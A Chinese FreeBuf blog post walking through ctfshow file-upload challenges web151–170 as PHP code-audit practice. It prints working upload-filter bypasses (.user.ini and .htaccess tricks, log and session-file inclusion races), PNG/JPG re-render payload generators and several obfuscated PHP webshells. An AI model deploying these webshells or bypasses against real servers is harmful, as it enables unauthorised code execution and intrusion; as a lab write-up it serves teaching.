freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

php代码审计前奏之ctfshow之文件上传
2021-01-24 12:33:09

本系列题目来源:CTFSHOW: https://ctf.show/challenges

想搞好代码审计,必须要搞懂其中一些危险函数危险应用,以及过滤不足,

故以 CTF 来练习。

web151~前端验证

直接抓包修改后缀。

web152~前端+MIME

直接抓包修改后缀。

web153~.user.ini

https://www.php.net/manual/en/ini.list.php

使用条件:

(1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式

(2)上传目录下要有可执行的php文件

使用方式:

  1. 上传一张图片马

  2. 上传 .user.iniauto_prepend_file=ma.png

  3. 访问.user.ini同级目录中的一个php文件。

本题目中有 /upload/index.php,所以可以操作。

题目配置可以从http相应包得到。nginx/1.18.0 (Ubuntu)

web154~文件内容过滤php

上来测试发现是黑名单过滤的。

我们还可以上传 .user.ini,并且upload/index.php真好存在。

那么我们上传一张图片马,

发现被拦截了。

文件上传失败,失败原因:文件内容不合规

猜测可能是拦截了 php 字符串。那么我们删掉他试试,果然上传成功。

那么我们呢绕过就可以了。

<? echo '123';?>          # 不可

<?=eval($_POST['a']);?>

<script language="php">eval($_POST['a']);</script>   # 不可用

web155~文件内容过滤php

测试正常的 png 图片可以上传。

对图片内容过滤php

绕过 <?=eval($_POST['a']);

步骤跟上关一样。。。。。

web156~过滤 php, [

测试,又是文件内容过滤了 php.

紧接着发现事情没这么简单,还过滤了[,这给传参造成了一定的困难。

但是我们可以直接

<?=system('cat ../flag.???');

<?=eval($_POST{'a'});    # 用 {} 代替   []

web157~过滤分号

nginx/1.18.0 (Ubuntu) PHP/5.6.40

文件名黑名单

经测试,对文件内容过滤了 php[{;

上传.user.ini

我们知道 php 最后的语句也可以不加分号的,前提是得有 ?>结束标志。

上传 2.png

<?=system('ls ../')?>
<?=system('cat ../*')?>

访问upload/index.php

web158~过滤分号

和web157解法相同。

web159~过滤括号

经测试,对文件内容过滤了 php[{;(

问题不大,不能用函数了。

那我们用反引号代替system()

<?=`cat ../*`?>

web160~过滤反引号,包含日志

经测试,对文件内容过滤了 php[{;(、 反引号 、空格。

好家伙。包含日志文件,但发现 log也被过滤了。那就进行拼接。

上传.user.ini后,在上传 ma.png

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

看到页面回显,确实包含了。

想着直接浏览器访问 url 路径带上一句话,但是却被编码了 %3C?php%20eval($_POST[1]);?%3E

还是再UA出比较好。

修改UA User-Agent: <?php eval($_POST[1]);?>

然后成功getshell.

web161~检测文件头

DBx4T1.md.png

发现只有文件内容异常的图片已经上传不上去了。猜测应该是对文件头进行了检测。

DBxj0A.md.png

上传 GIF89a成功绕过,但是这里文件内容测试只有两个字符的时候还不能上传。。。。。所以多放点字符。

其余操作和上官相同。

web162~包含session文件

测试,这关也检测了文件头,但是同时过滤掉了 点 .

我们可以看到这样绕过

.user.ini :

GIF89a
auto_prepend_file=ma

但上传ma文件,同样不能包含日志文件。这时候就需要包含session文件了。

这里还过滤了flag

上传 ma

GIF89a
<?=include"/tmp/sess_fllag"?>

那么我们就开始构造,session文件竞争包含。

构造

<!DOCTYPE html>
<html>
<body>
<form action="http://58b10a1f-08e0-4689-8b64-2e8641d2948b.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

DDCEvT.md.png

一直上传,内容为写后门到 a.php

然后一直包含session文件。

DDCJKO.md.png

可以看到成功包含,那么此时我们去upload/a.php,成功访问,并测试后门成功写入。

DDCtqe.md.png

可以参考文件包含篇

还有 利用session.upload_progress进行文件包含



web163~包含session文件

过滤还是前面的过滤。

操作和上关一样的。

这里有upload/index.php,所以我们其实可以直接利用此文件包含Session文件。

上传.user.ini:

GIF89a
auto_prepend_file=/tmp/sess_fllag

然后就开始session文件竞争上传和包含。

DDkU6P.md.png

成功。

这是题目源码:

<?php

error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }

            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}

function clearUpload(){
    system("mv ./upload/index.php ./index.php_");
    system("rm -rf ./upload/*");
    system("mv ./index.php_ ./upload/index.php");
}

sleep(2);
clearUpload();
echo json_encode($ret);

web164~png二次渲染

测试了一下。

{"code":3,"msg":"只允许上传png格式图片"}

白名单验证。

找了一张测试可以成功上传png图片。

还发现

download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png

可以随意修改图片又会被检测,故做图片马。

但是一般的图片马还绕不过,应该是做了二次渲染。

所以可以上传二次渲染绕过的图片,在做文件包含即可。

生成脚本:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

/* <?$_GET[0]($_POST[1]);?>   */

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

DDHlrt.md.png

web165~jpg二次渲染

测试只能上传 jpg.

{"code":3,"msg":"只允许上传jpg格式图片"}

也是二次渲染,当我们写后门进图片是,后台会自动检测并删除数据。

那么就用到 jpg二次渲染绕过了。

拿脚本

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=eval(\$_POST[1]);?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

先上传一张图片,然后下载下来,然后利用脚本生成。

php jpg_payload.php <jpg_name.jpg>

DDLmPU.md.png

再继续上传,

发现这张图片不行,再来一张。

DDOAQH.md.png

成功。

需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.



web166~zip文件上传包含

尝试多次,发现zip 文件可上传。

DDXFA0.md.png

但是上传直接编辑后门一句话的压缩包。

Ds8P0g.md.png

Ds8Ats.md.png

web167~.htaccess

Ds8Y1x.md.png

但这只是前端限制。

可以看到,只允许jpg上传。

抓包测试了一下,是黑名单。

开局有个提示httpd

测试apache解析漏洞没解析。

测试.htaccess成功。

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

然后上传带有马的 1.jpg即可。

但是这里浏览器响应回来的是 nginx呀,坑。

web168~后门免杀

基础免杀

测试,会检测_GET_POST

可抓包后修改直接上传php文件。

反引号

反引号达到命令执行的效果。

<?php
$_=`whoami`;
echo $_;
// <?= `whoami`?>

把源码拔下来

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-30 00:11:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $str = file_get_contents($_FILES["file"]["tmp_name"]);
            if(check($str)===0){
                move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
                $ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
            }

    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}

function check($str){
    return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);
}

echo json_encode($ret);

本来还想着包含一波日志。

字符拼接

<?php $a='syste'.'m';($a)('ls ../');

$_REQUEST

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

数学函数

<?php
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
# get传参   abs=system&acos=ls

这里

其他函数构造

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

web169~.user.ini包含日志

测试发现

抓包需修改Content-Type: image/png

文件名后缀随意。

看看文件内容过滤了啥 <> ? 等等。

只能进行 .user.ini日志文件包含了。

思路: 上传 .user.ini

auto_prepend_file=/var/log/nginx/access.log

然后随便上传个php文件即可。

然后改UA为一句话即可。

web170

测试上传zip,抓包修改,后缀为php, MIME类型为image/png.

包含.user.ini

日志文件/var/log/nginx/access.log

# 黑客 # web安全 # 网络安全技术 # ctf web
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者